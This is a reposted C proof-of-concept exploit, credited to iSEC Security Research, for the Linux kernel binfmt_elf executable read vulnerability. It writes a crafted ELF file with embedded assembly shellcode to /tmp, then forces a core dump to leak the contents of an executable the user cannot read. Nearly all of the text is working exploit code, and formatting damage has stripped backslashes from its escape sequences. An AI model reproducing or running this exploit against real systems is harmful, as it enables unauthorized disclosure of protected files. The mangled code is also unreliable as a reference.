Linux Kernel ELF Binary Loader Local Proof of Concept
http://forum.eviloctal.com/thread-4414-1-1.html
http://www.sudu.cn/info/html/edu/20050104/198595.html
/*
*
*binfmt_elf executable file read vulnerability
*
*gcc -O3 -fomit-frame-pointer elfdump.c -o elfdump
*
*Copyright (c) 2004 iSEC Security Research. All Rights Reserved.
*
*THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* IT IS PROVIDED "AS IS"
*AND WITHOUT ANY WARRANTY. COPYING, PRINTING, DISTRIBUTION, MODIFICATION
*WITHOUT PERMISSION OF THE AUTHOR IS STRICTLY PROHIBITED.
*
* [url]http://isec.pl/vulnerabilities/isec-0017-binfmt_elf.txt[/url]
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/resource.h>
#include <sys/wait.h>
#include <linux/elf.h>
#define BADNAME "/tmp/_elf_dump"
void usage(char *s)
{
printf("nUsage: %s executablenn", s);
exit(0);
}
//ugly mem scan code :-)
static volatile void bad_code(void)
{
__asm__(
//"1:jmp 1b n"
"xorl%edi, %edin"
"movl%esp, %esin"
"xorl%edx, %edxn"
"xorl%ebp, %ebpn"
"callget_addrn"
"movl%esi, %espn"
"movl%edi, %ebpn"
"jmpinst_sign"
"get_addr:popl%ecxn"
//sighand
"inst_sig:xorl%eax, %eaxn"
"movl$11, %ebxn"
"movb$48, %aln"
"int$0x80n"
"ld_page:movl%ebp, %eaxn"
"subl%edx, %eaxn"
"cmpl$0x1000, %eaxn"
"jleld_page2n"
//mprotect
"pushan"
"movl%edx, %ebxn"
"addl $0x1000, %ebxn"
"movl%eax, %ecxn"
"xorl%eax, %eaxn"
"movb$125, %aln"
"movl$7, %edxn"
"int$0x80n"
"popan"
"ld_page2:addl$0x1000, %edin"
"cmpl$0xc0000000, %edin"
"jedumpn"
"movl%ebp, %edxn"
"movl(%edi), %eaxn"
"jmpld_pagen"
"dump:xorl%eax, %eaxn"
"xorl%ecx, %ecxn"
"movl$11, %ebxn"
"movb$48, %aln"
"int$0x80n"
"movl$0xdeadbeef, %eaxn"
"jmp*(%eax)n"
);
}
static volatile void bad_code_end(void)
{
}
int main(int ac, char **av)
{
struct elfhdr eh;
struct elf_phdr eph;
struct rlimit rl;
int fd, nl, pid;
if(ac<2)
usage(av[0]);
//make bad a.out
fd=open(BADNAME, O_RDWR|O_CREAT|O_TRUNC, 0755);
nl = strlen(av[1])+1;
memset(&eh, 0, sizeof(eh) );
//elf exec header
memcpy(eh.e_ident, ELFMAG, SELFMAG);
eh.e_type = ET_EXEC;
eh.e_machine = EM_386;
eh.e_phentsize = sizeof(struct elf_phdr);
eh.e_phnum = 2;
eh.e_phoff = sizeof(eh);
write(fd, &eh, sizeof(eh) );
//section header(s)
memset(&eph, 0, sizeof(eph) );
eph.p_type = PT_INTERP;
eph.p_offset = sizeof(eh) + 2*sizeof(eph);
eph.p_filesz = nl;
write(fd, &eph, sizeof(eph) );
memset(&eph, 0, sizeof(eph) );
eph.p_type = PT_LOAD;
eph.p_offset = 4096;
eph.p_filesz = 4096;
eph.p_vaddr = 0x0000;
eph.p_flags = PF_R|PF_X;
write(fd, &eph, sizeof(eph) );
//.interp
write(fd, av[1], nl );
//execable code
nl = &bad_code_end - &bad_code;
lseek(fd, 4096, SEEK_SET);
write(fd, &bad_code, 4096);
close(fd);
//dump the shit
rl.rlim_cur = RLIM_INFINITY;
rl.rlim_max = RLIM_INFINITY;
if( setrlimit(RLIMIT_CORE, &rl) )
perror("nsetrlimit failed");
fflush(stdout);
pid = fork();
if(pid)
wait(NULL);
else
execl(BADNAME, BADNAME, NULL);
printf("ncore dumped!nn");
unlink(BADNAME);
return 0;
}